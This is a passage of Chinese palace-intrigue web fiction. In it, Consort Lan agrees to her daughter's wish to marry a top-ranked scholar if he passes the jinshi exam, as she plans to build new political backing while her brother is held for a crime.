“你……”兰妃叹了口气,“今时不同往日,要是放在去年,别说是进士,便是把他捧成状元,不也只要母妃一句话的事嘛! 如今你舅舅在大理寺没出来,外面又有豺狼虎豹。 我们不能再轻举妄动,知道吗?” “我不嘛我不嘛,反正我就是要嫁他,除了他我谁也不嫁。”绝色女子撒泼打滚。 兰玉气得浑身发抖,但她很快就冷静下来。 现在大哥进去了,证据确凿,按照大庸律法,他早就该宣判了。 是皇帝对她的宠爱,才让案子一直压着。 事到如今,她才想明白,大哥还是太势单力薄了。 大哥进去后,兰家巴不得大哥被罢官。 这样一来,她为了儿女的前程,也只能捏着鼻子扶持兰家的其他人。 但她不甘心。 她和大哥在兰家受尽欺负,现在凭什么要便宜他们! 自己是该培养一些新势力了。 联姻未必不是一个好办法。 “只要他能考中进士,我就同意这门婚事。” “谢谢母妃,我就知道,母妃最好了!”姬襄云扑进兰妃怀里,娇滴滴的撒娇。 兰玉挤出一个皮笑肉不笑的表情。 既然是解元,说明有些本事,应该也结交了一些人脉。 到时候自己再扶持一二,定然能为她所用。 一个进士还远远不够。 她应该再想笼络一些学子。 她一个后妃,不好时常出宫办事,更何况还是同举子接触。 她嫌弃地对姬襄云挥了挥手:“去,把你大哥叫来。” 儿子也不小了,是时候培养一些只属于他的势力了。